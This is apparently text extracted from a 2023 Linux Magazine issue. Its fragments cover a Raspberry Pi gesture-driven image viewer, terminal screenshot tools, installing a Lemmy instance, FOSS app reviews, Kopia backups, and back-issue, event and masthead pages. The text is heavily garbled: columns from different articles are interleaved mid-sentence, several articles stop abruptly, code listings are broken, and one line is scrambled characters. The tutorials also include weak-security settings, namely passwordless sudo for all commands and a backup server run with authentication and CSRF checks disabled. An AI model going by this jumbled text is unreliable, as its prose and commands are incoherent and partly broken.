up to your elbows in grime or ingredients, then needed to
turn or scroll down a page? Wouldn’t you rather your
Raspberry Pi do the honors? By Bernhard Bablok
T
his article is about the joy of Installing the Software
tinkering, and the project I look The Pi Image Viewer program is imple-
at is suitable for all kinds of sit- mented in Python and is very minimal-
uations when your hands are ist. In fact, it is an image viewer that per-
full or just dirty. The hardware require- forms precisely one function: scrolling
ments turn out to be quite low: a Rasp- through an image in response to ges-
berry Pi, a screen, and a gesture sensor. tures. The software would even work
My choice of sensor was the APDS9960 with a small four-inch screen with a
(Figure 1), for which you can get break- Raspberry Pi clamped behind it, but it
outs and an I2C connector for a low price would not be particularly user friendly.
at the usual dealers ($3.20-$7.50). How- You can pick up the software for a ges-
ever, you should note whether the sensor ture-driven recipe book on GitHub [1] by
has soldered jumpers. The left jumper cloning the repository and installing the
(PS) controls the power supply of the in- software with the commands
frared lamp with the pin for positive sup-
ply voltage (VCC) and definitely needs to git clone [Link]
02 self._MAP = {
03 K_RIGHT: self._right,
04 K_LEFT: self._left,
05 K_UP: self._up,
06 K_DOWN: self._down,
07 K_ESCAPE: self._close
08 }
09 ...
10
11 ...
13 if [Link] == QUIT:
14 self._close()
16 if [Link] in self._MAP:
17 self._MAP[[Link]]()
18 ...
Figure 2: In the sample project, the gesture sensor sits above the Processing Gestures
Waveshare TFT screen. Gesture processing is handled in a sec-
ond thread that polls the sensor (Listing
shifts the image to show a different sec- (Figure 3, right). This arrangement 2, line 4) and, from the detected ges-
tion each time (Figure 3). might sound confusing at first, but mov- tures, simply synthesizes the matching
In PyGame, rectangles stand in for ing the image toward the upper left (neg- key events for the PyGame main pro-
both the screen window and the image. ative coordinates) makes the bottom gram (line 16), which closes the circle.
The window defines the global coordi- right part of the image visible. The program shown here with the ges-
nate system, and its upper left corner PyGame is controlled by events. The ture control does not completely solve
marks the zero point; the (0,0) coordi- program processes key events for the the problem. You still need to convert
nate in turn determines the location rela- four cursor keys (Listing 1, lines 12-17). your printed recipe into a (JPG) image,
tive to the screen. If the coordinates are Each key is backed up by a method that but you can easily scan or take a photo
(0,0), users will see the upper left part of is responsible for
the image (Figure 3, left). moving in one of Listing 2: Gesture Control
If, on the other hand, the coordinates the four direc- 01 evnt = {}
are negative, say (-50,-50), the top left tions. To keep the
02 while not self._stop.is_set():
corner is outside the window, and you code manageable,
03 [Link](0.1)
see the bottom right area of the image a key-value pair is
04 gesture = self._apds.gesture()
05 if not gesture:
06 continue
08 evnt['key'] = pygame.K_UP
10 evnt['key'] = pygame.K_DOWN
12 evnt['key'] = pygame.K_LEFT
14 evnt['key'] = pygame.K_RIGHT
15
16 event = [Link]([Link],evnt)
Figure 3: PyGame displays the image and screen as
17 [Link](event)
rectangles.
of a recipe book or grab a screenshot to distribution’s package manager. The few lines of APDS9960 code, mostly
do that. Fairly low resolutions are abso- -density option lets you control the copied from sample code online, is all
lutely fine for the purposes of this image resolution. If the PDF has multi- it takes for this application. Because
application. ple pages, the command arranges the the key events are simulated, you can
If the recipe is a PDF, the following pages one below the other. If you pre- do without a keyboard. The principle
one-liner will help: fer horizontal scrolling, replace -append can also be transferred to other hard-
with +append. Two more parameters ware. For example, you can find low-
convert -density 150 [Link] U handle fine tuning: -trim removes the cost displays without touch input. In-
-append [Link] white border, whereas -sharpen 0x1.0 stead of a full keyboard, a simple
sharpens the result. MPR121 keypad [6] connected by I2C
This command uses the convert com- You still need two things before you might also do the trick. Just as the
mand from the ImageMagick package, can start the image viewer with a double- code in the image viewer translates
which is typically already in place. If click: a [Link] file, gestures into strokes, it would translate
not, just grab it with your which registers the image viewer as a touch events for the key sensor.
program for pro- You can take this solution one step
cessing JPGs, and further with the python3-evdev library,
a file that stores which lets you generate arbitrary (sys-
the image viewer tem) key events, allowing you to control
as the default dis- any program with gestures or by touch –
play program. not just those that are designed for touch
Both points are de- control like the Pi Image Viewer.
scribed in the Re- Voice control is an alternative to ges-
adme file for the ture control and is now suitable for prac-
GitHub project. tical use on a Raspberry Pi with voice in-
terface modules such as the Seeed Re-
Laptop Speaker [7]. Q Q Q
Instead of Pi
The image viewer Info
and gesture con- [1] Pi Image Viewer: [Link]
trol also work bablokb/pi-image-viewer
without a Pi on a [2] “CircuitPython for Raspberry Pi and
normal laptop MCUs” by Bernhard Bablok, Linux
(Figure 4), be- Magazine, issue 234, May 2020,
cause Blinka and [Link]
PyGame run the Issues/2020/234/CircuitPython/
same way on pop- [3] PyGame: [Link]
ular desktop oper- [4] Adafruit guide to the MCP2221:
ating systems. [Link]
However, because circuitpython-libraries-on-any-
these systems computer-with-mcp2221
don’t usually have [5] Adafruit guide to the Pico as an I2C
a freely accessible USB bridge: [Link]
I2C port, you com/circuitpython-libraries-on-any-
might need to ret- computer-with-raspberry-pi-pico
rofit one on a [6] MPR121 keypad: [Link]
USB-to-I2C bridge. [Link]/products/retired/12017
The MCP2221 mi- [7] Seeed ReSpeaker: [Link]
crochip does this [Link]/ReSpeaker/
easily and inex-
pensively for Author
$3.00 and up [4] Bernhard Bablok works at Allianz Tech-
or with a Rasp- nology SE as an SAP HR developer.
berry Pi Pico [5]. When he’s not listening to music or out
and about, he’s busy with topics related
Conclusions to Linux, programming, and small-board
A few lines of Py- computers. You can contact him at
Figure 4: Laptop, MCP2221, and gesture sensor. Game code and a mail@[Link].
MADDOG’S
Jon “maddog” Hall is an author,
educator, computer scientist,
DOGHOUSE
and free software pioneer The ideas about and methods for protecting software rights have
who has been a passionate
advocate for Linux since 1994
evolved as computers have moved from expensive and relatively
when he first met Linus Torvalds
and facilitated the port of
rare to far more affordable and ubiquitous. BY JON “MADDOG” HALL
Linux to a 64-bit system. He
serves as president of Linux
International®. From Contract Law to Copyright
ast month I touched briefly on an issue with trademarks, because even in those days selling software was difficult and
Say Cheese
Linux is awash in desktop screenshot tools, but what if you
want to take a quick screenshot from a terminal window?
BY ALI IMRAN NAGORI
uppose you want to record the contents captures a particular window or region you select
scrot
SCReen shOT (scrot) is a lightweight and simple
command-line tool for capturing screenshots in
Linux [1]. It offers a range of options and is highly
configurable. To install scrot on an Ubuntu 22.04 Figure 1: Installing scrot on Ubuntu.
system (Figure 1), enter:
$ scrot [Link]
Import
Part of the powerful
ImageMagick suite,
import offers exten-
sive capabilities for
capturing screen-
shots from the com-
mand line [3]. Im-
ageMagick is likely
already installed on
most Linux distros. If
not, you can install it
using the package
manager specific to
your distribution. For
Figure 3: A high-quality screenshot with scrot. example, on Ubuntu
22.04, you can use:
(Figure 3). This is particularly helpful when you
have image size constraints for an application. $ sudo apt install imagemagick
gnome-screenshot
On a Linux distribution with the Gnome desktop Next, import asks you to select the target win-
environment, gnome-screenshot provides a feature- dow using the mouse. It also allows capturing
rich CLI for capturing screenshots [2]. To install the entire X server screen using the id or name of
gnome-screenshot, use the regular apt command the window:
(Figure 4):
$ import -window <window_id> [Link]
Conclusion
The -f flag in Figure 5 sets the filename for the Mastering command-line screenshot utilities in
capture. By default, gnome-screenshot captures the Linux, such as scrot, gnome-screenshot, and im-
entire screen. Just like with scrot, you can specify port, can significantly streamline workflow and
additional options to capture a specific region or enhance productivity. These tools offer the abil-
window. For example, to capture a specific win- ity to capture specific regions or windows.
dow, enter: Whether you are a technical writer documenting
Linux administration or a developer trouble-
$ gnome-screenshot -w -d 3 -f [Link] shooting code, having a command-line screen-
shot tool at your disposal is invaluable.
Here, the -w flag
sets the window to
capture. With the -d
flag, you can insert
a delay to the cap-
ture operation.
There are also op-
tions for including
the cursor in the
screenshot and
more. Figure 4: Installing gnome-screenshot on Ubuntu.
You can play around with various options to refer to the man pages [1][2] for more details on
explore what possibilities each tool has to offer. these options. Happy capturing! Q Q Q
With practice, you can harness the power of
these utilities to capture perfect screenshots Info
directly from the Linux command line. You can
[1] scrot:
[Link]
The Author
trusty/man1/[Link]
Ali Imran Nagori is a technical writer and
[2] gnome-screenshot:
Linux enthusiast who loves to write about
[Link]
Linux system administration and related
jammy/en/man1/[Link]
technologies. He blogs at [Link]. You
[3] import:
can connect with him on LinkedIn.
[Link]
QQQ
Features
Because this is the Fediverse, the first step to reg-
istering as a Lemmy user entails picking an in-
stance. As with Mastodon and PeerTube, Lemmy
instances can be general, regional, or thematic [4],
notwithstanding which, a properly federated in-
stance will allow you to access, browse, and inter-
act with most other instances, and therefore read,
subscribe to, and post to communities, either
local on your instance of choice or remote.
A note about terminology before I go any Back on the main page shown in Figure 2, you
deeper: As with Mastodon, PeerTube, Pixelfed, can choose whether to see Posts or Comments
etc., an instance in Lemmy is a Lemmy server (4), whether you want to see only posts (or com-
someone has set up to host communities. Some ments) on your Subscribed, Local, or All communi-
instances are open and you can just roll up and ties on all federated instances (5). You also have
register; some are closed and require an invitation the option of changing how they are ranked (6).
or the approval from the owners. If you have a Ranking is more complete on Lemmy than on
bunch of friends and a rent a spare server online, Reddit, allowing you to order posts according to
you set up your own instance for your friends, most Active, in which the rank of a post is based
family, school, or work colleagues and hook it up on the score and time of the latest comment, with
to the rest of the Lemmy network, a process decay over time; Hot, similar to active, but uses
called federating. I will talk more about how to set the time when the post was published; New, which
up your own instance later. shows most recent posts first; Old (self-explana-
Meanwhile, communities are equivalent to the tory); Most Comments, which shows posts with
subreddits on the Reddit site (i.e., theme-based the highest number of comments first; New Com-
groups for aggregating news, posts, and com- ments, which ranks first posts when they receive a
ments on a specific topic, such as Doctor Who, new reply; and then you can choose to see the
London, or World News). highest ranking post of the day, week, month, year,
On the surface, Lemmy’s default layout (Fig- or all time.
YVIɄ PSSOWZIV]QYGLPMOI6IHHMX%PMWXSJTSWXW When you click on a post’s title (7), you will be
(4) with their upvote/downvote buttons (7) take up taken to the post on Lemmy, (in Reddit, you will be Figure 3: The form for send-
most of the space, but a closer look will reveal taken directly to the linked article). To go to the ing news items is straight-
some differences. Across the top, you can always linked article itself (if the post indeed links to a forward.
go back to the home page by clicking on the
Lemmy logo and name (1). If you are not logged
in, the home page will be the highest scoring
posts in the local instance. If you are logged in, it
will be the highest scoring posts in your sub-
scribed communities.
Continuing across the top from left to right in
Figure 2, the Communities link (2) takes you to a
page with a list of communities. You can choose
to see the communities you subscribed to, local
communities on the instance you signed up with,
or all the communities across all the instances
that federate with your instance.
Next up, Create Post (3) does what it says on the
box and takes you to a form (Figure 3) ,which will
allow you to create a post on this instance and
pick a community to receive the post.
Figure 4: To send a toot from Mastodon to Lemmy, include the address of the community you want to send it to in the body of the toot.
site outside of Lemmy), click on the link just below of the Lemmy community and name of the in-
the headline. In the lines below that, you can stance it is hosted on as follows:
check out the poster’s history and the community
the post was sent to. On the bottom line, you can @communityname@[Link]
There are multiple convoluted steps and the doc- file in /etc/sudoers.d. The name of the file doesn’t
umentation [7] often misses steps or is just down- matter much, but it is a good idea if it is the same
right wrong. as the username you are using on your server.
Thankfully, the developers have also created an Add the following line to the file:
Ansible installer [8] and have made it the only offi-
cially supported method for installing Lemmy, and yourusername ALL=(ALL) NOPASSWD: ALL
Set Up
to As mentioned above, installing using the Ansible
playbook provided by the Lemmy creators simpli-
PasswordAuthentication no fies things quite a bit.
The Ansible installer provides all the dependen-
and restarting the ssh service: cies Lemmy needs in Docker containers, so there
is nothing else you need to do on your server. But,
systemctl restart ssh if you don't already have Ansible, you will need to
install it on your local machine using your distri-
You will need superuser privileges to do both things. bution’s package manager.
While you are still in superuser mode, set up Then you can clone Lemmy’s latest Ansible
your passwordless access to sudo by creating a repo with:
Figure 5: Lemmy can find PeerTube channels, but total integration with the Fediverse’s video platform is still not all there.
host_vars/<yourlemmyserveraddress>>/
yml -T 60
mkdir -p inventory/host_vars/<yourlemmyU
serveraddress> Ansible will copy over all the files, set up Docker
containers for all the services and run NGINX.
It is very important that yourlemmyserveraddress Your Lemmy instance should be ready in a few
is exactly the address of your Lemmy server. If minutes (Figure 6).
your domain is [Link] and you are putting
Lemmy on a subdomain called lemmy, you must Administration
put [Link] here (and not, for exam- The first order of business is to add an admin user
ple, [Link]). for your instance. Visit the site and you will see the
Next, copy over the sample configuration file: screen shown in Figure 6.
Once you fill in the admin’s username, email,
cp examples/[Link] inventory/host_U and password, you will be taken to the setup page.
vars/<yourlemmyserveraddress>/ Here you can give the site a human-readable
name, write in a description, configure the sidebar,
The file should be perfectly fine as-is for most in- decide whether registration will be open for the
stalls, but if you do decide to edit it, do not to edit site, or if it will be invite only, and so on. Press Cre-
anything inside the {{ }} braces. ate and you are transferred to your new site. If you
Next you need to copy over the provided sam- want to change stuff later, you can always get
ple hosts file to your inventory/ directory: back to the settings by pressing the gear icon in
the upper right-hand corner of the main page.
cp examples/hosts inventory/ After the setup, you can start creating commu-
nities, inviting your friends, and in general, begin.
Figure 6: Visiting your You will need to edit the hosts file. The line
Lemmy instance for the first under the comments contains sample informa- Federating
time, you will be invited to tion, as shown in Listing 1. Edit the file as Federating in Lemmy starts off slow. Check that the
set up an admin account. follows: Federation enabled checkbox is ticked in the settings
and that federation is indeed working by running
json' [Link]
<yourusername>
/kbin
Another project that seeks to become a Fedi- Figure 7: Your instance will fill
verse-enabled news aggregator is /kbin [9]. It has sure that is what happened. The stats of Lemmy and grow its federated net-
a more polished look than Lemmy and integrates shot up during the protest and new instances work as the activity increases.
perfectly with Lemmy. Indeed, more than half of started sprouting up like toadstools after the rain.
the posts on the front page of /kbin’s most popu- At least for the tech-savvy FLOSS community, it
lar instance ([Link]) come from communities was not so much a surrender than the realization Figure 8: Another Reddit-like
hosted on Lemmy instances (Figure 8). that there was an out into the Fediverse. news aggregator, /kbin inte-
There is not much sense in keeping up a protest if grates seamlessly with the
Conclusion your demands are met, even if it is elsewhere. Q Q Q network of Lemmy instances.
Louis Rossmann, the right-to-repair activist with
several run-ins with Apple, lamented on his YouTube
channel how Redditors had caved and given in to
the site’s owner’s new conditions [10]. I am not so
Info
[1] Cory Doctorow defines “enshittification”:
[Link]
tiktok-platforms-cory-doctorow/
[2] Reddit owners announce they are closing the
source: [Link]
comments/6xfyfg/an_update_on_the_state_
of_the_redditreddit_and/
[3] Lemmy: [Link]
[4] Choose your favorite Lemmy instance:
[Link]
[5] Formatting guide to Lemmy posts and com-
ments: [Link]
[Link]
[6] PeerTube integration : [Link]
news/2022-05-27_-_Lemmy_Release_v0.16.
4_-_Peertube_federation,_Rust_API_and_
The Author
other_improvements
Paul Brown has been writing about technology professionally since 1996,
[7] Lemmy installation documentation:
when he got his first break writing a monthly column for the Spanish tech
[Link]
underground magazine ARROBA. Since then, he has written extensively
[Link] about Internet fads, creative programming, and fancy gadgets, as well as
[8] Lemmy Ansible installer: [Link] free software and free hardware. He has edited Ubuntu User magazine
LemmyNet/lemmy-ansible both in Spanish and English, Raspberry Pi Geek (in English), and the Spanish
[9] /kbin: [Link] edition of Linux Magazine. He currently writes for Linux Magazine and Linux.
com, and he acts as a Communications Officer for Free Software
[10] Louis Rossmann talks about the Reddit pro- organizations such as KDE e.V. and Free Software Foundation Europe.
test: [Link]
This month, Graham finally migrated his old CentOS 6 server to a shiny
new Ubuntu LTS release. It had been running for over a decade and
handled all his email and messaging. BY GRAHAM MORRISON
Video stabilizer and snowboarding, to chasing elements into their video below plotting the yaw,
Gyroflow
people around the garden. stabilization, but it’s a diffi- pitch, rotation, and zoom
For any of this footage to be cult trick to pull off in open from the camera. This data
watchable, it needs motion stabi- source without either a can be loaded separately or
lization. Back in the olden days of great deal of manual edit- decoded from the video file.
here was a time when filmmaking, motion stabilization ing or Gyroflow. Each section can be resized
Granular synthesizer
gRainbow
he cleverly named gRain- some of the original elements of
Polyrhythmix
he command line isn’t the Polyrhythmix is the best of
mfp
hen we launched the music. This was a purely invented
System monitor
Mission Center
henever we look at a can show individual graphs for
Mastodon client
Ebou
astodon has been developers to build-out and inno-
M able to successfully
navigate itself through
both a huge surge in popularity
vate on their own ideas in a way
official clients do not, and this is
exactly what Ebou has done.
and the utterly predictable reced- Ebou is a beautifully designed cli-
ing engagement in the wake of ent with a unique approach to
this popularity. That it was able presenting your Mastodon time-
to scale in both directions is a line and the information it Ebou is a Rust-written Mastodon client that will connect to your
huge testament to open source contains. favorite instance to help you explore your timeline in new ways.
software and the community of Instead of a column view that
moderators and sys admins that shows either your selected time- that column remains untouched, and it lets you easily ex-
kept everything running. There’s line, search, or user posts and plore the posts from people you follow and the interactions
still lingering discontent with the their replies, Ebou will expand they’re having from a single view. It’s a little like TweetDeck
alternatives, even new ones, be- upon this simple column to show for Twitter, or a modern messenger client in conversation
cause of their decisions to do two more views. One shows the view, and it’s another compelling reason for Mastodon to
things like limit their API access, selected account timeline while succeed. The developer has done a fantastic job in making
or force-link accounts to Insta- the other contains the threaded this work, and also in being brave enough to open source
gram, and this has helped Mast- conversation for the selected their work when they were originally very cautious. Hope-
odon remain many times more post. It’s a brilliantly intuitive way fully, the already healthy community support for this appli-
popular than it was before. The of exploring your own timeline be- cation will reward them for their work.
API is particularly important cause you never lose the context
when it comes to third-party cli- of whatever post sparked your Project Website
ents, because it enables deeper investigation, because [Link]
IRC client
WeeChat 4
hirty years after its incep- But WeeChat is unri-
With the release of version 4, the WeeChat project celebrates 20 years of active Project Website
development. That’s a long time, but not nearly as long as IRC itself! [Link]
Game development
microStudio
ith so many freely Everyone plays games these
W available resources
and established plat-
forms to use, there has never
days, and it’s an incredibly popu-
lar career choice. It’s also a mis-
sion that rewards unique ideas.
been a better time to start pro- The problem is turning those
gramming. There are openly li- ideas into code, and there are al-
censed courses, freely available most as many options to help as
magazine tutorials, online videos, there are games, from the forced
interactive platforms, and offline retro of PICO-8 to the complexity
editors for almost every lan- of Godot. MicroStudio, however,
guage and framework. But is a wonderful learning platform
there’s nothing quite like having a that sits somewhere between the While it’s easier to create 2D pixel-based games with microStudio,
project first, and using this proj- two. Like PICO-8, it will build there are plenty of examples that implement simple or pseudo 3D
ect as the driving force to learn. If standalone 2D games and use its for maze exploration or driving games.
you want to automate your own Lua-like scripting language,
home, for example, you could but those games are unlimited in locally or hosted online to help you better collaborate or
learn programming through their scope. Best of all, microStu- code straight from your browser. Combine this with the
building your own Node-RED so- dio includes everything you need many example projects it includes, and the online tutorials
lution, or with Python and the within the same window, includ- to help you master the minimal language scope, and
Home Assistant REST API. One ing sprite editing, map editing, you’ve got one of the best ways to get someone into both
of the best kinds of projects, es- and music and sound manage- programming and developing their game idea.
pecially if you’re helping a ment, alongside the code editor,
younger person to start program- game preview, and debug con- Project Website
ming, is to write a video game. sole. All of these can either be run [Link]
Multiplayer shooter
Hypersomnia
ver since BZFlag, open package is a zany quick blast of
good backup tool is like a dishwasher: It’s hurt if all of this were wrapped in a user-friendly
A
BY DMITRI POPOV
not something most of us get excited interface.
about, but the degree to which it improves It may sound like a pipe dream, but that’s ex-
our daily lives is hard to overstate. And like with a actly what Kopia [1] has to offer. Plus, this cross-
dishwasher, no one really wants to spend time at- platform tool features a built-in web server and a
tending to a backup tool. Ideally, you’d want to set dedicated desktop graphical application. And it
it up once and let it do its job with the push of a goes without saying that you can use Kopia from
button or have it perform backups automatically, the command line. In short, it’s pretty much a per-
with no user interaction whatsoever. fect tool for keeping your data safe.
Picking the right backup tool is not as trivial as
choosing a dishwasher, though. Sure, you can Getting Started with Kopia
whip up a simple shell script that backs up data to Unsurprisingly, to use Kopia you have to install it
a different storage device using good old rsync. on your system first, and the project supports
But in this day and age, it’s simply not enough. If practically every installation option imaginable.
you’re serious about keeping your data safe, you There are packages for most mainstream Linux
want to use a tool that supports incremental back- distributions, there are Docker images for those
ups, deduplication, snapshots, and other useful who prefer to go the container route, there are
features. For an offsite backup, you definitely want AppImage packages, and you can even grab a
your backup tool to support mainstream storage single executable binary from the project’s
services and encryption. On top of that, it wouldn’t GitHub repository.
If you happen to use an Apt-based Linux distri-
Listing 1: Apt-based Kopia Installation bution (Debian, Ubuntu, or Linux Mint), installing
the latest version of Kopia is a matter of running
curl -s [Link] | sudo gpg --dearmor -o /etc/apt/
keyrings/[Link]
the commands in Listing 1.
The official documentation also suggests in-
echo "deb [signed-by=/etc/apt/keyrings/[Link]] [Link]
[Link]/apt/ stable main" | sudo tee /etc/apt/[Link].d/[Link] stalling the Kopia UI desktop application, but
sudo apt update
you don’t really need it, because you can access
sudo apt install kopia
and control Kopia via its web UI. In fact, the web
UI offers the most straightforward way to learn
Kopia’s basics. To enable the web UI, you need
Listing 2: Service Definition to configure and start Kopia’s built-in server.
[Unit]
Normally, this involves creating a Kopia user,
Description=Kopia server
configuring permissions, and creating and en-
abling a certificate. The good news is that you
[Service]
don’t need any of that if you only want to ac-
cess Kopia from the same machine it runs on,
Restart=always
and the machine itself is not accessible from
ExecStart=kopia server start --insecure --without-password
--disable-csrf-token-checks outside of the local network. In this case, you
ExecStop=/usr/bin/kill -HUP $MAINPID can start Kopia’s server with all security mea-
sures disabled using:
[Install]
WantedBy=[Link]
kopia server start --insecure --without-password U
--disable-csrf-token-checks
When the server is running, point the browser to defaults, you might want to enable the error cor-
[Link] to access Kopia’s web UI. rection feature that reduces the likelihood of data
Starting the server manually is fine, but a better corruption caused by bitrot or hardware issues.
approach is to let the system do that automati- To enable this feature, set the Error Correction
cally on boot through a systemd service. To do Overhead option to the desired value. This value
this, use the following commands to create a ded- determines how much storage space is used for
icated directory for systemd services, and then the error correction code. Keep in mind that the
create a new systemd unit file and open it for error correction functionality is still experimental.
editing: When you’ve configured the options, click Create
Repository to create the backup repository.
mkdir -p ~/.config/systemd/user/ Like most modern backup tools, Kopia doesn’t
nano ~/.config/systemd/user/[Link] simply mirror the data you want to keep safe. In-
stead the application uses the concept of snap-
Enter the service definition in Listing 2 and save shots. Every time you run a backup job, Kopia cre-
the changes. ates a snapshot, or a backup catalog that is frozen
Use the following commands to enable and in time. The data in the snapshot reflects the di-
start the service as well as enable it on boot: rectory structure and the state of each file as it
was at the moment the snapshot was created.
systemctl --user daemon-reload The snapshot approach has several advantages
systemctl --user enable [Link] compared to a straight backup, key among them
systemctl --user start [Link] being the ability to restore previous versions of
loginctl enable-linger $USER specific files and directories. On the downside, the
snapshot-based backup approach requires more
With the Kopia server up and running, the next storage than the source. So it’s a good idea to allo-
step is to create and configure a location for stor- cate as much storage space for use with Kopia as Figure 2: Creating a new
ing backups, called a backup repository. The land- possible. backup repository.
ing page in the web UI lists all supported storage
types (Figure 1), so creating and configuring a
new backup repository is a matter of clicking the
appropriate button (Figure 2). To set up an exter-
nal USB storage device as a backup repository,
click the Local Directory or NAS button (Figure 1).
Assuming that the target storage device is con-
nected and mounted, enter the root directory or a
specific folder on the storage device in the Direc-
tory Path field, and click Next. Because Kopia en-
crypts backups, you must specify a password for
the new repository. It goes without saying that if
you lose or forget the password, you won’t be able
to access your backups. The Advanced Options
section lets you configure additional settings.
While you can leave most of the options at their
The Author
Dmitri Popov has been writing exclusively
about Linux and open source software for
many years. His articles have appeared in
Danish, British, US, German, Spanish, and
Russian magazines and websites. You can find
more on his website at [Link].
LINUX
NEWSSTAND
Order online:
[Link]
Linux Magazine is your guide to the world of Linux. Monthly issues are packed with advanced technical
articles and tutorials you won't find anywhere else. Explore our full catalog of back issues for specific
topics or to complete your collection.
#274/September 2023
The Best of Small Distros
Nowadays, all the attention is on big, enterprise distributions supported by professional
developers at big, enterprise corporations, but small distros are still a thing. If you’re shopping
for a Linux to run on old hardware, if you just want a simpler system that is more responsive
and less cluttered, or if you’re looking for a special Linux tailored for a special purpose, you’re
sure to find inspiration in our look at small and specialty Linux systems.
On the DVD: 10 Small Distro ISOs and 4 Small Distro Virtual Appliances
#273/August 2023
Podcasting
On the Internet, you don’t have to wait for permission to speak to the world. Podcasting lets you
connect with your audience no matter where they are. Whether you're in it to build community,
raise awareness about your skills, or just have some fun, the tools of the Linux environment
make it easy to take your first steps.
On the DVD: Linux Mint 21.1 Cinnamon and openSUSE Leap 15.5
#272/July 2023
Open Data
As long as governments have kept data, there have been people who have wanted to see it and
people who have wanted to control it. A new generation of tools, policies, and advocates seeks
to keep the data free, available, and in accessible formats. This month we bring you snapshots
from the quest for open data.
On the DVD: xubuntu 23.04 Desktop and Fedora 38 Workstation
#271/June 2023
Smart Home
Smart home solutions will save you time and energy – and, did I mention, you can amaze your
friends. This month we show you how to take charge of your home environment with smart
devices and open source automation software.
On the DVD: SystemRescue 10.0 and Linux Lite 6.4
#270/May 2023
Green Coding
A sustainable world will need more sustainable programming. This month we tell you about
some FOSS initiatives dedicated to energy efficiency, and we take a close look at some green
coding techniques in Go.
On the DVD: Fedora 37 Workstation and TUXEDO OS 2
#269/April 2023
The Fetiverse
Social media tools connect the world, bringing us the latest news and commentary from
politicians, movie stars, community leaders, and remote friends. But the tracking and data mining
of the commercial social media platforms has left many users searching for a better option. This
month we dive down into the alternative universe for social media users: the Fediverse.
On the DVD: EndeavourOS Cassini 22.12 and Debian 11.6 “bullseye”
FEATURED EVENTS
Users, developers, and vendors meet at Linux events around the world.
We at Linux Magazine are proud to sponsor the Featured Events shown here.
For other events near you, check our extensive events calendar online at
[Link]
If you know of another Linux event you would like us to add to our calendar,
please send a message with all the details to info@[Link].
Events
All Things Open Oct 15-17 Raleigh, North Carolina [Link]
PyTorch Conference 2023 Oct 16-17 San Francisco, California [Link]
DrupalCon Lille 2023 Oct 17-20 Lille, France [Link]
LinuxFest Northwest 2023 Oct 20-22 Bellingham, Washington [Link]
Hybrid Cloud Conference Oct 26 Virtual Event [Link]
hybrid-cloud-congress-2/
SeaGL 2023 Nov 3-4 Virtual Event [Link]
KubeCon + CloudNativeCon Nov 6-9 Chicago, Illinois [Link]
North America cloudnativecon-north-america/
RISC-V Summit Nov 7-8 Santa Clara, California [Link]
Open Source Monitoring Nov 7-9 Nuremberg, Germany [Link]
Conference (OSMC)
SFSCON 2023 Nov 10-11 Bolzano, Italy [Link]
SC23 Nov 12-17 Denver, Colorado [Link]
Images © Alex White, [Link]
96
SERVICE
Contact Info / Authors
WRITE FOR US
Contact Info
Editor in Chief
Joe Casad, jcasad@[Link]
Copy Editors
Amy Pettle, Aubrey Vaughn Linux Magazine is looking for authors to write articles on Linux and the
News Editors
Jack Wallen, Amber Ankerholz
tools of the Linux environment. We like articles on useful solutions that
Editor Emerita Nomadica solve practical problems. The topic could be a desktop tool, a command-
Rita L Sooby line utility, a network monitoring application, a homegrown script, or
Managing Editor
Lori White anything else with the potential to save a Linux user trouble and time. Our
Localization & Translation goal is to tell our readers stories they haven’t already heard, so we’re
Ian Travis especially interested in original fixes and hacks, new tools, and useful
Layout
Dena Friesen, Lori White applications that our readers might not know about. We also love articles
Cover Design on advanced uses for tools our readers do know about – stories that take
Lori White a traditional application and put it to work in a novel or creative way.
Cover Image
© nikolay mossolaynen, [Link] Topics close to our hearts include:
Advertising
Brian Osborn, bosborn@[Link] • Security
phone +49 8093 7679420 • Advanced Linux tuning and configuration
Marketing Communications
Gwen Clark, gclark@[Link] • Internet of Things
Linux New Media USA, LLC • Networking
4840 Bob Billings Parkway, Ste 104
Lawrence, KS 66049 USA • Scripting
Publisher • Artificial intelligence
Brian Osborn • Open protocols and open standards
Customer Service / Subscription
For USA and Canada: If you have a worthy topic that isn’t on this list, try us out – we might be
Email: cs@[Link]
interested!
Phone: 1-866-247-2802
(Toll Free from the US and Canada) Please don’t send us articles about products made by a company you
For all other countries: work for, unless it is an open source tool that is freely available to
Email: subs@[Link]
[Link]
everyone. Don’t send us webzine-style “Top 10 Tips” articles or other
While every care has been taken in the content of the superficial treatments that leave all the work to the reader. We like
magazine, the publishers cannot be held responsible
for the accuracy of the information contained within
complete solutions, with examples and lots of details. Go deep, not wide.
it or any consequences arising from the use of it. The
use of the disc provided with the magazine or any
We have a couple themes coming up that we could use your help with.
material provided on it is at your own risk. Please send us your proposals for thoughtful and practical articles on:
Copyright and Trademarks © 2023 Linux New Media
USA, LLC. • Cryptocurrencies
No material may be reproduced in any form
whatsoever in whole or in part without the written
• Systemd hacks
permission of the publishers. It is assumed that all Describe your idea in 1-2 paragraphs and send it to: edit@[Link].
correspondence sent, for example, letters, email,
faxes, photographs, articles, drawings, are supplied Please indicate in the subject line that your message is an article proposal.
for publication or license to third parties on a non-
exclusive worldwide basis by Linux New Media USA,
LLC, unless otherwise stated in writing.
Linux is a trademark of Linus Torvalds.
All brand or product names are trademarks of their Authors
respective owners. Contact us if we haven’t cred-
ited your copyright; we will always correct any Bernhard Bablok 68 Vincent Mealing 73
oversight.
Chris Binnie 16, 22, 28, 34 Graham Morrison 84
Printed in Nuremberg, Germany by Kolibri Druck.
Distributed by Seymour Distribution Ltd, United Paul Brown 78 Ali Imran Nagori 75
Kingdom
Represented in Europe and other territories by: Zack Brown 12 Dmitri Popov 90
Sparkhaus Media GmbH, Bialasstr. 1a, 85625
Glonn, Germany. Bruce Byfield 6, 40, 48 Mike Schilli 58
Published monthly as Linux Magazine (Print ISSN: Joe Casad 3, 16 Ferdinand Thommes 64
1471-5678, Online ISSN: 2833-3950) by Linux New
Media USA, LLC, 4840 Bob Billings Parkway, Ste Mark Crutch 73 Jack Wallen 8
104, Lawrence, KS 66049, USA. Periodicals Postage
paid at Lawrence, KS and additional mailing offices. Marco Fioretti 43 Michael Williams 52
Ride-Along Enclosed. POSTMASTER: Please send
address changes to Linux Magazine, 4840 Bob Bill- Jon “maddog” Hall 74
ings Parkway, Ste 104, Lawrence, KS 66049, USA.
ChatGPT
on Linux
ChatGPT is the toast of the town, but what
does this powerful AI chatbot mean for
Linux? Tune in next month when we study
some leading ChatGPT clients for the Linux
environment.